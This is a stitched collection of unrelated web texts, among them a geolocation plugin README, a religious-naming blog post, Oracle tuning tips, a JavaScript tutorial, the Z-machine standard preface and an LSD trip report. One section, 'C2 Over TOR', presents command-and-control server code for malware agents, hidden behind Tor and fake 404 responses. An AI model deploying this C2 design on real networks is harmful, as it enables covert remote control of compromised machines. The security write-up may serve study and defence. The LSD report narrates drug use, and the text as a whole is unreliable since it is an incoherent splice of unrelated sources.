Background Geolocation
This plugin provides foreground and background geolocation with battery-saving "circular region monitoring" and "stop detection". For more detail, please see https://github.com/mauron85/cordova-plugin-background-geolocation
Repo: https://github.com/mauron85/cordova-plugin-background-geolocation
Installation
- Install the Cordova and Ionic Native plugins:
$ ionic cordova plugin add cordova-plugin-mauron85-background-geolocation $ npm install --save @ionic-native/background-geolocation
- Add this plugin to your app's module
Supported platforms
- iOS
- Android
- Windows Phone 8
Usage
BackgroundGeolocation must be called within app.ts and or before Geolocation. Otherwise the platform will not ask you for background tracking permission.
import { BackgroundGeolocation, BackgroundGeolocationConfig } from '@ionic-native/background-geolocation';
constructor(private backgroundGeolocation: BackgroundGeolocation) { }
...
const config: BackgroundGeolocationConfig = {
desiredAccuracy: 10,
stationaryRadius: 20,
distanceFilter: 30,
debug: true, // enable this hear sounds for background-geolocation life-cycle.
stopOnTerminate: false, // enable this to clear background location settings when the app terminates
};
this.backgroundGeolocation.configure(config)
.subscribe((location: BackgroundGeolocationResponse) => {
console.log(location);
// IMPORTANT: You must execute the finish method here to inform the native plugin that you're finished,
// and the background-task may be completed. You must do this regardless if your HTTP request is successful or not.
// IF YOU DON'T, ios will CRASH YOUR APP for spending too much time in the background.
this.backgroundGeolocation.finish(); // FOR IOS ONLY
});
// start recording location
this.backgroundGeolocation.start();
// If you wish to turn OFF background-tracking, call the #stop method.
this.backgroundGeolocation.stop();

When it comes to nicknames of the Church, such as the “LDS Church,” the “Mormon Church,” or the “Church of the Latter-day Saints,” the most important thing in those names is the absence of the Savior’s name. To remove the Lord’s name from the Lord’s Church is a major victory for Satan.
~ President Russell M. Nelson
When referring to Church members . . . we ask that the term “Mormons” and “LDS” not be used.
The term “Mormonism” is inaccurate and should not be used.
~ Church's Style Guide
This emphasis to refrain from using nicknames like “Mormon” was put in place August 2018, yet I often use these nicknames instead of the official moniker, The Church of Jesus Christ of Latter-day Saints. Am I doing this because I’m a faithless, disrespectful heathen? I may be a faithless heathen, but my use of the nicknames is not out of disrespect. I’m just trying to be succinct. In fact, if you’re a devout, believing member of the Church, I bet you’ll think I’m in good company when you consider the history of the Church’s use of the term “Mormon” and other names for the Church.
“On 3 May 1834, official action modified the name of the Church. In a priesthood conference presided over by Joseph Smith, a motion passed ‘by unanimous voice’ that the Church be known as ‘The Church of the Latter Day Saints.’” Prior to this, the official name of the Church had been “The Church of Christ,” so this 1834 official action removed the Lord’s name from the Lord’s Church.
("I Have a Question" article, January 1979)
“I testify that the Book of Mormon is the word of God and that when people speak of us by the name of this book, they will compliment us, if we will live worthy of the name, remembering that in a very real sense Mormonism must mean that greater good which the Lord Jesus Christ exemplified.”
(Presidente Gordon B. Hinckley, 1990)
In 2010, under the direction of President Thomas S. Monson, The Church launched its “I am a Mormon” campaign in the United States. The Church later made the campaign international with advertisements and promotions in various countries. How many millions of dollars in tithing were spent on this?
(Official Church News Article)
This is a photo in the Deseret News newspaper (owned by the LDS Church) in 2013 showing the "I'm a Mormon" campaign launch in the United Kingdom and Ireland
(News Article)
In 2014 the Church was fighting a legal battle with an internet dating site called Mormon Match because the Church claimed it had exclusive rights to what President Nelson now says is an improper nickname.
(BBC News Article)
Again, brought to the world under the direction of President Thomas S. Monson, “‘Meet the Mormons’ is a feature-length documentary film produced by The Church of Jesus Christ of Latter-day Saints that [was] released in select theaters on 10 October 2014.”
(Official Church News Article)
As late as October of 2015, the Deseret News (owned by the Church) promoted the Associated Press Stylebook guidance that “Mormon” is a proper term exclusively for the Salt Lake City based branch of the restorationist movement started by Joseph Smith. “The term Mormon is not properly applied to the other Latter Day Saints churches that resulted from the split after (Joseph) Smith’s death.”
(DeseretNews Article)
So, if you take President Nelson’s words as the gospel truth, it seems the Church itself has been providing victory after victory for Satan. If it was okay for previous prophets of the Church to use the terms Mormon, LDS, Mormonism, etc. as they did, I think anybody taking offense at the way I use these terms is just choosing to be offended.


"I think it is" ...Let's find out!
Is Agile development and IBM Design Thinking the same thing you ask?
By Jason Nutt, an agile MERN developer
Ok! Here is a direct comparison as from conception until the current age...
AGILE BEGINNINGS
The four core values of Agile software development as stated by the Agile Manifesto are:
individuals and interactions over processes and tools;
working software
over comprehensive documentation;
customer collaboration
over contract negotiation;
and.
responding to change
over following a plan.
IBM Design Thinking is a scalable framework to help teams understand and deliver—continuously.
You begin by making a conscious commitment, as a team, to prioritize your users over other,
sometimes competing, business concerns.
In order to move fast, you put in place a well-rounded, multi-disciplined team.
Well so far, the comparison draws many similarities. The overall theme being customer's (user's happiness) satisfaction is of primary importance, and then relationships between teammates, then tools and processes.
Link of comparison to Business as Usual
Here is the pdf of the introduction summary that I have just completed on IBM Design Thinking
Complexity and ambiguity
Enterprise teams deal with complex ecosystems that take years to learn and master.
They offer countless rabbit holes, worm holes, plot holes, pot holes, and any other kind of ambiguous situations you can think of.
Finding enough clarity to decide on the best thing to do within this intricate web can sometimes seem impossible.
But, it doesn’t have to be so hard.
Finding clarity can be as simple as focusing on the most important thing.
In design thinking, the most important thing is people.
In Enterprise Design Thinking, we call this a focus on user outcomes.
A focus on user outcomes
When you focus your team and your work around your users and their needs, you’re able to more easily decide what’s important.
This makes your offerings more essential to the people who use them. If all you did was ask:
Who are our users?
What is their current experience?
How could it be improved?
over and over again, you would get closer and closer to understanding your users and creating an ideal future for them.
This allows you to put a more valuable offering into your client’s hands and into the market.
Business problems to human-centered problems
Business problems, like those you are asked to solve day to day, are often focused on something nonhuman, like the bottom line or brand recognition.
In order to start focusing on your users, you have to identify the user problems that underlie the business problem.
Uncover the problem
Always be asking why
Focusing on users and their problems can help make it more straightforward.
The 5 Whys activity digs deeper into a problem, or uncovers the intent behind an idea. Let’s find the root cause of the original problem facing Windsor Airlines.

C2 Over TOR
Introduction
This project is about setting up a Command and Control as a hidden service in TOR network. An onion link is embedded in an agent or “malware” that constantly connects to that hidden service. The C2 itself is a simple flask server that sets the command to execute in the HTTP header and then expects the output from the agent. The output is just simply dumped in a file.
Architecture
Below is the diagram of the architecture.
The C2 is served as a hidden service. The agent or “malware” would connect to it through the TOR network. HTTP method must be “PUT” to fetch C2 commands. The command is stuffed in X-CNC header in the HTTP response. HTTP method must be “OPTIONS” to return command output. It is stuffed by agent in the Cnc-Output HTTP response header. Below can be seen the flask handling of the HTTP interaction. Commands can be set in commands.txt .
The Command and Control Server
# In c2_server/app.py
...
@app.route('/s3cr3t', methods=['PUT', 'OPTIONS'])
def s3cr3t_cnc():
# OPTIONS = Accepting CNC result
resp = make_response(render_template('404.html'))
resp.headers.set('Server', 'nginx')
if request.method == 'OPTIONS':
# Get CNC results
foo = dict(request.headers)
if foo.get('Cnc-Output', None) != None:
command_output = b64decode(foo['Cnc-Output'])
command_output = b"\n\n\n\n\n\n"+command_output
write_to_file(command_output_file, command_output, w_type="ab")
return resp, 404
# PUT = Sending CNC commands
elif request.method == 'PUT':
# Set the command in the headers and in base64
command = read_from_file(command_file,r_type="rb")
resp.headers.set(b'X-CNC', b64encode(command))
return resp, 404
else:
return resp, 404
...
The totality of the code just returns 404 regardless there is a hit or not. In my setup, it is also behind an Nginx server and redirects traffic to http://<IP_ADDRESS>:8000/s3cr3t if /s3cr3t is hit.
The Agent
Below is the agent’s activity Cycle.
The code is written in Golang and can be seen here. In the main repository also can be seen the non tor agent to test things out in local environment. Links can be replaced by IPs instead of onion links.
PoC
Running C2 and the agent.
End notes
Running C2 as a hidden service would come in pros and cons. Pros would be the likes of being anonymous, be able to self-host thus having a full control, or having a dynamic generated onion hostnames. Cons would be the likes of being easy to be detected in network and in host threat hunting or having a muuuuch slower connection compared to a normal C2. Enhancements or workarounds can be done to remediate the cons or weaponize the pros. At the end of the day, this is just one of the techniques can be used to serve a C2.

Quantum is a system like everything else.
To each physical system there corresponds a Hilbert space (1) of dimensionality equal to the system’s maximum number of reliably distinguishable states (2).
A quantum state is a configuration of the system.
A quantum state changes; it naturally wants to evolve, but it can always be undone.
Scaling - how parts make a whole.
Quantum measurements are probabilistic.
- A Hilbert space is a linear vector space with complex coefficients and inner products \(\langle \phi|\psi\rangle = \sum_i \phi_{i}^{*}\psi_i\).
- For a single qubit, there are two standard orthogonal states (computational basis states) that are conventionally denoted \(|0\rangle =\begin{pmatrix}1\\0\end{pmatrix}\) and \(|1\rangle =\begin{pmatrix}0\\1\end{pmatrix}\).
- Other qubit states include \(|+\rangle =\frac{1}{\sqrt{2}}\begin{pmatrix}1\\1\end{pmatrix}\), \(|-\rangle =\frac{1}{\sqrt{2}}\begin{pmatrix}1\\-1\end{pmatrix}\), \(|\circlearrowright\rangle =\frac{1}{\sqrt{2}}\begin{pmatrix}1\\i\end{pmatrix}\) and \(|\circlearrowleft\rangle =\frac{1}{\sqrt{2}}\begin{pmatrix}1\\-i\end{pmatrix}\)
- Unitary means linear and inner-product-preserving.
- A two-qubit system can exist in a product state such as \(|00\rangle\) or \(|0+\rangle\) but also in an entangled state \((|00\rangle+|11\rangle)/\sqrt{2}\), in which neither qubit has a definite state, even though the pair together does.
- Measurement causes the system to behave probabilistically and forget its pre-measurement state, unless that state happens to lie entirely with one of the subspaces \(\Pi_j\).

We strongly recommend that you take the opportunity to customize the sql.bsq file prior to the creation of any performance critical database. A failure to do so will introduce problems that can only be repaired by recreating the database. But before you can make your changes to sql.bsq, you need to consider to the following question.
I scarcely need repeat the cardinal rule that other than the data dictionary nothing should be allowed in the SYSTEM tablespace that can possibly go elsewhere. In particular, no user, other than SYS, should have SYSTEM as their DEFAULT TABLESPACE. And no user, not even SYS, should have SYSTEM as their TEMPORARY TABLESPACE. You can use the APT script system_space_invaders.sql to identify any such users.
Despite all such warnings, the creation of extraneous segments in the SYSTEM tablespace is still the main cause of SYSTEM tablespace fragmentation. Scripts such as Oracle's utlbstat.sql and utlestat.sql that create and drop segments in the SYS schema's default tablespace don't help.
Of course, there are some things that go into the SYSTEM tablespace that you cannot control - namely, the data dictionary, the SYSTEM rollback segment and deferred rollback segments.
It is actually possible to place much of the data dictionary in another tablespace, and there is sometimes good reason for doing so. However, if you do need to do anything like this, you should get Oracle's blessing first.The data dictionary segments have very diverse storage requirement, however these are basically static in mature databases. The SYSTEM rollback segment should be lightly used, and thus not require much space management. But deferred rollback segments are the wildcards in SYSTEM tablespace space management.
Deferred rollback segments are also called save undo segments. They are created automatically if a tablespace goes offline with uncommitted changes. Normally, this will only happen in the event of media failure, and only if your database is in archivelog mode. One deferred rollback segment is created for each tablespace affected. Each transaction affected copies the undo records for changes to that tablespace only, from the rollback segment to which it has been writing, into the deferred rollback segment. When the tablespace comes back online again, the undo from transactions that were rolled back is automatically applied, and the deferred rollback segment is dropped.
Deferred rollback segments are created in the SYSTEM tablespace explicitly (not in the SYS schema's default tablespace, if that has been changed). So you need to allow space in the SYSTEM tablespace for deferred rollback segments. There must be at least enough space to accommodate all the outstanding undo against any set of tablespaces that may go offline together due to a single media failure.
The most unpleasant thing about the creation of deferred rollback segments is that they do not use the SYSTEM tablespace's default INITIAL and NEXT extent sizes, but instead specify tiny 10K extents. However, they do use the SYSTEM tablespace's default PCTINCREASE value. This seems calculated to defeat most attempts to actively manage space in the SYSTEM tablespace. If you change the default PCTINCREASE value for the SYSTEM tablespace to zero, deferred rollback segments will be created in lots of tiny extents. Deferred rollback segments, like the SYSTEM rollback segment, cannot have an unlimited number of extents. The number of extents is limited by the number of slots in the extent control table in the segment header block. To avoid data loss, you must ensure that that limit is never reached for a deferred rollback segment.
This means that you have to choose between the following three options for SYSTEM tablespace space management.
It is not recommended that you make SYSTEM a locally managed tablespace. Extent information for locally managed tablespaces is not cached in the dictionary cache, and in the case of the data dictionary itself this caching is important to the performance of rowcache recursive SQL. (Not to mention that database creation fails if you attempt this anyway unless you've made extensive changes to sql.bsq.)
We also prefer not to use a large fixed extent size for the SYSTEM tablespace. Most of the short-term segments created in the SYSTEM tablespace have very modest space requirements, and using a large fixed extent size is inefficient in terms of space.
We therefore recommend that the data dictionary be created initially with default extent sizes, and that fragmentation be controlled by applying a MINIMUM EXTENT size to the SYSTEM tablespace immediately after database creation, as follows:
alter tablespace system minimum extent 64K;The MINIMUM EXTENT size adopted should be exactly one multiblock read.
Doing it perfectly the second time involves some customization of the sql.bsq file as foreshadowed at the beginning of this tip. Firstly, do not touch the sql.bsq file that comes with your Oracle distribution (in $ORACLE_HOME/rdbms/admin, or in $ORACLE_HOME/dbs). Copy that file to your database creation directory, and edit the copy instead. To use your customized sql.bsq file when recreating the database, you will need to set the _init_sql_file parameter.
The most important thing to change in the sql.bsq file is the SIZE clause of the primary data dictionary clusters, C_OBJ# and C_FILE#_BLOCK#. By default, C_OBJ# is sized for tables with 10 columns and 2 indexes over 2 columns each. Tables with significantly more columns and/or heavier indexing than this will cause cluster block chaining in this cluster unless you prevent it. C_FILE#_BLOCK# is sized for segments with only 5 extents. Segments in dictionary managed tablespaces with significantly more than 5 extents will cause cluster block chaining in this cluster unless you customize the SIZE clause.
To get the SIZE clauses right, we recommend that you use the APT script dd_cluster_sizes.sql. This script requires that you first create all the database objects that will be required for the application, and extend them to their estimated stable number of extents, if using dictionary managed tablespaces. The script then measures the average space usage per cluster key in the relevant data dictionary clusters, and makes a recommendation for the SIZE clauses.
Since you are going to be editing the sql.bsq file, you also have the opportunity to set appropriate INITIAL and NEXT extent sizes for all the data dictionary segments that might otherwise immediately require multiple extents. Indeed, you must for the clusters if you have customized their SIZE clauses, otherwise database creation is likely to fail. First, you need to ensure that the data dictionary of your trial database is fully populated, by running all the required catalog scripts, loading all the required optional packages, loading all the stored program units for your application, creating all the users, and analyzing all the segments. You can then use the APT script dd_initial_extents.sql to get recommended sizes for the INITIAL and NEXT extents for these segments, and edit you copy of sql.bsq accordingly.
On more thing that you can fruitfully do at this point is to run row_migration.sql to check for row migration problems in the data dictionary, and adopt the suggested PCTFREE settings, if any. The last thing to check before you actually create the database again, is that you have allowed enough free space in the SYSTEM tablespace for the dynamic creation of deferred rollback segments if necessary.

The converter outputs some cryptic diagnostic information when in use - it's especially useful to see what is happening when it starts up.
The hid_listen program (from PJRC) can display this output, which mostly just consists of bytes read from and written to the keyboard when things are working correctly.
Most of the output takes the form of a prefix code, followed by a hex value, followed by a space. For example, 'r4A '.
Prefixes used:
| Prefix | Description |
|---|---|
| r | byte read from keyboard |
| w | byte written to keyboard |
| R | read error |
| W | write error |
| + | HID code output from first translation stage (for key-press) |
| - | HID code output from first translation stage (for key-release) |
| d | HID code output (for key-press) v1.03+ |
| u | HID code output (for key-release) v1.03+ |
Error codes:
| Code | Error | Description |
|---|---|---|
| R03 | unknown | something bad happened! |
| R04 | clock | missed one edge of the clock signal, usually because of a short spike |
| R05 | timeout | started receiving clock from the board, but didn't receive enough for a full code |
| R06 | start bit | read a start bit, but it was incorrect |
| R07 | parity bit | failed to correctly read a parity bit |
| R08 | stop bit | failed to correctly read a stop bit |
| W005 | timeout | timeout while writing a command to the keyboard |
| W105 | timeout | timeout while writing the first byte of a 2-byte command |
| W205 | timeout | timeout while writing the second byte of a 2-byte command |
Usually, if you get error codes right after building your converter, it's because the wiring is incorrect. One fairly common error is to read the socket pinout diagrams backwards - they are drawn looking at the front of the socket, not the back.
As a side-project, I've posted a Simple Logic Analyzer on Deskthority. This can help to diagnose wiring problems or incompatibilities quickly and simply, whereas before you might've had to resort to trial and error, risking damage to the Teensy in the process.
This section is mostly only relevant to terminal keyboards. The converter uses the ID to decide between using scan code set 3 for terminal keyboards, or extended scan code set 2 for 'regular' keyboards.
By using hid_listen, you can see what ID your keyboard has by looking at the two bytes read back after the get ID command (wF2 rFA).
The ID and scan code set selected are also printed in a more readable way: v0.996+
Keyboard ID: BFBF
Code Set: 3
Terminal keyboards often have DIP switches on the back panel, or alternatively a pin header on the PCB that you can fit jumpers to, which configure the keyboard's ID code. The ID is a 16-bit number, but commonly fewer than 16 switches/jumpers are fitted meaning it's not possible to select all of the bits. The default value with no jumpers fitted, or with all the DIP switches in the 'open' position, is BFBF.
If your terminal keyboard is not operating correctly, it might be because the wrong ID is set on the switches/jumpers. The first byte should not be AB.

Dublin's five-in-a-row All-Ireland winners were honoured at Celtic Park yesterday
The eight-in-a-row Scottish champions welcomed several Dublin stars onto the pitch at half time.
by Emma DuffyDUBLIN’S ALL-IRELAND FIVE-IN-A-ROW achievement was honoured by Celtic FC during their Scottish Premiership win over Livingston yesterday.
The Hoops welcomed several of Jim Gavin’s stars onto the Celtic Park pitch at half-time as the stadium announcer praised the historic achievement.
The Dubs etched their names into GAA history in September after it took a replay to separate themselves and Kerry in the All-Ireland decider — but Dublin prevailed to get their hands on the Sam Maguire Cup for the fifth consecutive year.
Jack McCaffrey, Brian Fenton, Niall Scully and Paddy Andrews were among those who travelled to Glasgow yesterday, where they presented Celtic with a signed Sky Blues jersey to help with the club’s annual Christmas appeal after receiving a warm reception.
Neil Lennon’s side moved three points clear at the top of the table after their comprehensive 4-0 win.
Celtic are eight-in-a-row Scottish champions themselves.

Few words about me
Hello,
I'm Sebastian. I like to programming, mainly in PHP. Beyond programming I... Hmm... Oh, yes! I read books and do workouts. Almost forgot; I like to study about personal development as well. Actually I want to write more but... That's what my whole life about is.
I should to write about my skills but I think, that actions speak louder than words. So, if you want to, you can find my projects on GitHub. You can also meet me on polish forum for programmers.
My target in programming is to become an architect of software.

The librarian asks. Well.... you think...
"I need to Fax." You say
"I need to Scan something." You say
"Alexa, whats in the news?" You say
Or maybe something else?

LSD |
(blotter / tab) |
After a long day of smoking cannabis with my ex-boyfriend and two other people, my ex decided to suggest that I take a few hits of acid with him. I was extremely nervous, seeing as how I had only taken it once before and had mild effects. The first time I only took one blotter and since it didn't have much of an effect on me, my ex suggested that I increased the dose. We were sitting in a small bedroom watching t.v. with his friends. I told him I would take the acid, but as soon as it started effecting me I wanted just him and I to go into a separate room from everyone else in order to lessen the chances of wigging out.
He gave me 3 hits and I took them all at once around 10 p.m. I sucked on the acid for about 20 minutes until I swallowed them.  I turned to my ex and told him I was ready to go in the other room. He said he was going to get something to drink and that I could head in to the room and he would meet me there.
As soon as I opened the door I got my first visual. He has a brown leather jacket lying on a lay-z boy chair. I watch the jacket float all the way up to the ceiling. I thought to myself that what I was seeing was not normal and that I must be beginning my first intense trip. When my ex walked in I explained to him what I saw and he merely laughed and told me to expect much more overwhelming feelings and sights. The whole time I kept getting intense rushes all over my body that caused me to sporatically inhale and exhale very deeply. I noticed that I had a constant fixation on the time and I keep asking myself what I would normally be doing at this exact time of night if I was not tripping on acid.
My visuals and body high kept getting more and more intense as the time went by. I do not remember the next two hours at all. The next thing I knew, I was looking around and everything was moving too fast and changing shapes so much that I could not decipher what was what. For example I was lying on the floor and my ex said 'Baby why don't you try to stand up.' I didn't even know I was lying down. He told me that I replied by saying 'I don't know which is the ground and which is the floor.' He never once laughed at me nor did he think I was crazy. He would always allow me to express myself and then in the end always reminded me that I was just tripping on a drug and that none of this was real.
Finally, he got me to sit up on the floor. We started talking, though I have no clue what the topic of our conversation was. I do remember him saying something about having physical proof that god does not exist and wanting a piece of paper for me to write this down. I started to write in between the lines of notebook paper but the lines started whirling so fast that I couldn't seem to get anything down. I zoned out in to the strange world that was all white with these beautiful blue lines surrounding me. The lines reminded me a little of the wind because they would swirl around me and cause me to get the cold chills and they would blow my hair back like the wind.
All of the sudden I was back in the room. My boyfriend was still talking unaware of my current state of mind. I stop him in mid-conversation and I started laughing shyly and said 'You know what? I don't know who you are; as a matter of fact, I don't even know who I am.' To this day my ex said that the seriousness in my face and voice was probably one of the scariest things he has witnessed in his life. He would tell me our names, where we were at, who my family and friends were, what year it was, what state we were in, even as far as what planet we were on. Everything sounded very familar like I dreamt it but I could not put the face of my father with his name.
This was a repetitive process for the next 10 hours. Despite of the situation, I stayed calm thanks to the help of a wonderful boyfriend and friend. I couldn't of made it without him. He guided me the rest of the way on my trip. He sat indian style and laid me in his lap and rubbed my temples while describing these beautiful sceneries and allowing me to picture them in my head. Even though I didn't know who he was at the time I felt very safe and comfortable with him and I even told him I liked him that night and that I wanted to be his friend, not knowing he was my boyfriend at the time. He became my security blanket until I finally came out of my trip.
I threw up one time in the morning and had mild trails for the rest of the day but I was back to the proper state of mind. This was a life-altering situation for me and made me realize the importance of life and just how intense this could become.

java.lang.Object com.izforge.izpack.gui.FlowLayout
public class FlowLayout
A flow layout arranges components in a left-to-right flow, much like lines of text in a paragraph. Flow layouts are typically used to arrange buttons in a panel. It will arrange buttons left to right until no more buttons fit on the same line. Each line is centered.
For example, the following picture shows an applet using the flow layout manager (its default layout manager) to position three buttons: Here is the code for this applet:import java.awt.*; import java.applet.Applet; public class myButtons extends Applet { Button button1, button2, button3; public void init() { button1 = new Button("Ok"); button2 = new Button("Open"); button3 = new Button("Close"); add(button1); add(button2); add(button3); } }
java.awt.FlowLayout has a minor problem that was bugging me when I wrote the UserInputPanel. FlowLayout puts some amount of space in between each component that it lays out. In addition it adds that same amount of space to the left and to the right of the entire group. Therefore items such as the RuleInputfield that are laid out with a FlowLayout would never line up properly with the other components (it would appear to be slightly indented). Because there is no way to circumvent this behavior in FlowLayout (it's hard coded) I copied the source and modified it so that it does not add the space to the left and to the right. Now my stuff lines up properly. (Elmar Grom)

Programs execute along a particular route or pathway, and that route can be altered based on differing conditions. The process of evaluating conditions and altering the route of the program is called Flow Control.
Examples of flow control in action would be sorting a list, or counting the number of Blue cars in a list of cars. Programs that walk through a list sorting it, or make decisions based on the conditions of items in the list use flow control. There are two basic types of flow controls, Decision types and Loop types.
Decision types change the flow based on a condition. Many statements in JavaScript can evaluate conditions, but the ones we consider decision types are:
Statements that continuously evaluate until a particular condition or conditions are met are considered loop types. Loop types include:
IF is the simplest flow control. It alters the flow of the program according to a condition. The syntax for IF is:
if (condition) {...code...}
As with all the flow control keywords, we only need {} if we are to execute more than one line of code.
Using if, we can test if a car is Blue. We can also test strings, numbers, and other data types. For example "is x greater than y", for which we would use the greater than symbol (>). This comes in handing when sorting things.
Example:
var x = 10;
var y = 8;
if (x > y) {
alert(x);
}
Now you try writing code for the following comparisons:
There is another extension to the IF flow control, which involves handling the alternative case. The syntax for if/else is:
if (condition) {...code...} else {...code...}
This allows us to specify an alternative action to take when the condition is false.
Using if/else, we can choose to go to the beach or the zoo based on the temperature. If the temperature is above 90°F we want to go to the beach, otherwise we will spend the day at the zoo.
Example:
var temperature = 87;
var beachTripTemp = 90;
if (temperature > beachTripTemp) {
alert("Get to the beach NOW!");
} else {
alert("Better spend the day at the zoo.");
}
Let's look at the exercises from the if section and update them to use the else clause:
There is another extension to the if/else flow control, which involves handling additional conditions within the alternative case. The syntax for if/else if/else is:
if (condition) {...code...} else if (condition) {...code...} else {...code...}
This allows us to specify an additional condition to evaluate when the condition is false.
Using if/else if/else, we can choose to go to the beach or the zoo based on the temperature, or stay at home if it's raining. If the temperature is above 90°F we want to go to the beach, otherwise we will spend the day at the zoo, but if it's raining, we'll want to stay home no matter what.
Example:
var rain = false;
var temperature = 87;
var beachTripTemp = 90;
if (rain == true) {
alert("Better stay home.");
} else if (temperature > beachTripTemp) {
alert("Get to the beach NOW!");
} else {
alert("Spend the day at the zoo.");
}
Let's look at the exercises from the if/else section and update them to use the else if clause:
The switch statement selects an option from a variable. The syntax for switch is:
switch (variable) {
case value1 : {...code1...}
case value2 : {...code2...}
...
case valueN : {...codeN...}
default: {...default code...}
The variable may be either a string or integer variable. The value of variable is matched against the list of values inside the switch statement, and if a match is found, then the associated code is performed. If no match is found, the code inside the default clause is performed.
One more detail, if, say, value 1 is matched, then unless we do something about it, all the codes will be performed, i.e. code1, code2, ... , codeN and default code will all be executed. To prevent this we add break as the last line in each code clause.
The for loop allows you to specify an iterator, a start value, and a stop condition. The syntax for the for loop is:
for(startValue; stopCondition; iteration){
document.write(i);
}
Example:
for(i=0; i<10; i++){
document.write(i);
}

We take for granted the Open Source community, we forget how great it has been to every developer, from the teenager putting their website together while learning, to the seasoned developer. The Open Source Community has helped many people to learn and launch their products.
I want to say Thank You. This is a Thank You to the whole community, to everyone that participates in Open Source projects. Thank you for not being shy and letting everyone see and critique your code. Thank you for having the mindset of contributing. Thank you for not forcing a fee to use the work that you spent nights writing. Today’s best products started from an Open Source project and they still use some Open Source components. Thanks to Open Source the state of web technologies are as advanced as it is today.

The Z-machine was created on a coffee table in Pittsburgh in 1979. It is an imaginary computer whose programs are adventure games, and is well-adapted to its task, implementing complex games remarkably compactly. They were still perhaps 100K long, too large for the memory of the home computers of their day, and the Z-machine seems to have made the first usage of virtual memory on a microcomputer. Further ahead of its time was the ability to efficiently save and restore the entire execution state.
The design's cardinal principle is that any game is 100% portable to different computers: that is, any legal program exactly determines its behaviour. This portability is largely made possible by a willingness to constrain maximum as well as minimum levels of performance (for instance, dynamic memory allocation is impossible).
Infocom's catalogue continues to be sold and to be played under interpreter programs, either original Infocom ones or more recent and generally better freeware ones. About 130 story files compiled by Infocom's compiler Zilch survive and since 1993 very many more story files have been created with the Inform design system.
Eight Versions of the Z-machine exist, and the first byte of any "story file" (that is: any Z-machine program) gives the Version number it must be interpreted under.
The majority of opcode names used in this document were agreed between 1994 and 1995 as a standard set by Mark Howell, author of the disassembler Txd (part of the Ztools suite of utility programs), and Graham Nelson, author of the assembly level of Inform. They do not correspond to Infocom's opcode names.
The first vesion of this Standard was drawn up in November 1995, drawing on a rougher description written in 1993 and, before that, sketches of table formats by Mike Threepoint and others. It formalised what different interpreter writers regard as the Z-machine, guaranteeing a reliable and well-featured platform for writers of new games. The initial 0.2 Standard was followed by the 1.0 Standard, which contained mostly corrections and clarifications, but also added some new features.
This third version of the Standard was initially put together by Kevin Bracey and Jason C. Penney and proposed on the Z-Machine Mailing List in December 2001. After much discussion, and nine drafts, the final list of changes to the Standard was uploaded to the if-archive in May 2006. This 2014 document adds no new material to that final draft, and is merely a merging of those changes to the main Standard.
The main additions in the 1.1 Standard are:
There are three companion documents are attached to this Standard.
Standard interpreters are not required to support these standards, since they do not affect Z-Machine behaviour, but interpreter-writers are strongly encouraged to consider it.
To call itself "Standard", an interpreter should (as far as anyone knows) obey this document exactly for every Version of the Z-machine it claims to interpret. Interpreters need not provide optional features suggested in the "remarks" sections, and need not make their source code public. Each edition of this document has a Revision number, somewhat like the JFIF identification number used by the JPEG standard. A standard interpreter should communicate its revision number in three ways:
Few arbitrary choices have been made in writing this document. Where Infocom's own shipped interpreters disagree, or contain manifest bugs, it has usually been possible to decide which was "correct". Elsewhere, minimum levels of performance have been invented where necessary. (For example, a minimum call-stack size is needed for programmers to be sure of what level of recursion is safe.)
Those paragraphs which genuinely extend the Infocom format are marked ***[n.m], where n and m are the major and minor version numbers for the Standard in which the feature was added. In any event, Infocom's original shipped interpreters do not conform to this standard document, because of bugs or because of slight variations between the Inform output format and Infocom's.
Hexadecimal numbers are written with an initial dollar, as in $ff, while binary numbers are written with a double-dollar as in $$11011, according to Inform conventions. The bits in a byte are numbered 0 to 7, 0 being the least significant and the top bit, 7, the most.
Story files are mechanically best identified by their release number and serial code, which are written into the header information at the bottom of Z-machine memory. The release number can be anything between 0 and 65535 but is usually between 1 and 100. The serial code can consist of any six textual characters but is usually the date of compilation, arranged YYMMDD: thus 970619 refers to June 19th, 1997.
Paul David Doherty, in his extensive investigations into Infocom's released games, introduced the notation
Release number.Serial code
to identify particular story files: for example the first production copy of 'Enchanter' is 10.830810. This notation is used throughout the Standard when individual Infocom files need to be referred to.
The Z-machine has some lexical acuity but it doesn't contain a full parser: it's like a computer without an operating system. A game program has to contain its own parser and the tables this uses are not part of the formal Z-machine specification. (Many Infocom games have similar parsing table formats simply because, until Version 6, they used an evolving version of the 'Zork I' parser. A quite different parser was used in Version 6.) Inform's parsing table formats are documented in the Inform Technical Manual. For the usual format of Infocom's parsing tables, see the Ztools utility Infodump.
There is an obvious resemblance between an unreadable script and a secret code; similar methods can be employed to break both. But the differences must not be overlooked. The code is deliberately designed to baffle the investigator; the script is only puzzling by accident.
John Chadwick, The Decipherment of Linear B
The Z-machine was originally devised by Joel Berez and Marc Blank in 1979. Marc Blank made most of the Version 4 extensions, and Version 5 was created by Dave Lebling (with contributions from others including Brian Moriarty, Duncan Blanchard and Linde Dynneson). Version 6 was largely the work of Tim Anderson and Dave Lebling.
In the reverse direction, decipherment is mostly due to the InfoTaskForce (David Beazley, George Janczuk, Peter Lisle, Russell Hoare and Chris Tham), Matthias Pfaller, Mike Threepoint, Mark Howell, Paul David Doherty and Stefan Jokisch. Only a few of the pieces in the jigsaw were placed by myself.
I gratefully acknowledge the help of Paul David Doherty and Mark Howell, who each read drafts of this paper and sent back detailed corrections; also, of Stefan Jokisch and Marnix Klooster who have put a great deal of work into the fine detail of the specification; and of all those who commented on the circulated draft. Mistakes and misunderstandings remain my own.
Graham Nelson
15 November 1995
Kevin Bracey and Stefan Jokisch discovered most of the mistakes in Standard 0.2, in developing the first Version 6 interpreters of the modern age: Zip2000 and Frotz. Matthew Russotto and Mark Knibbs supplied helpful information about Infocom's own Version 6 interpreters. Stefan also kindly read and commented on numerous drafts of the present revision. Finally, discussion about this document was greatly assisted by the Z-Machine Mailing List, organised by Marnix Klooster.
Graham Nelson
22 June 1997
The majority of the clarifications and updates in this latest revision are the work of Kevin Bracey and Jason C. Penney. Thanks go also to the members of the (now defunct) Z-Machine Mailing List, and those of the intfiction.org forum, especially Dannii Willis, for bringing to light issues with my initial revision. Special thanks to Andrew Plotkin for his notes, advice and general help while working on this revised document.

Click inside frame B to make it the selected frame. (Unless
you click on a link, you will probably not notice any change.)
From the file menu, choose "Print Frame" and finish
the print dialog box to start printing.
These instructions work as described in Netscape Navigator
(Internet Explorer should work in a similar fashion) to print the

you should click in frame D before choosing "Print Frame",
but remember that this takes a great deal of ink or toner, and
for text will not give as good a result.
By the way, frame C is used for navigating among the graphical
slides, while frame E is for notes that may accompany each slide

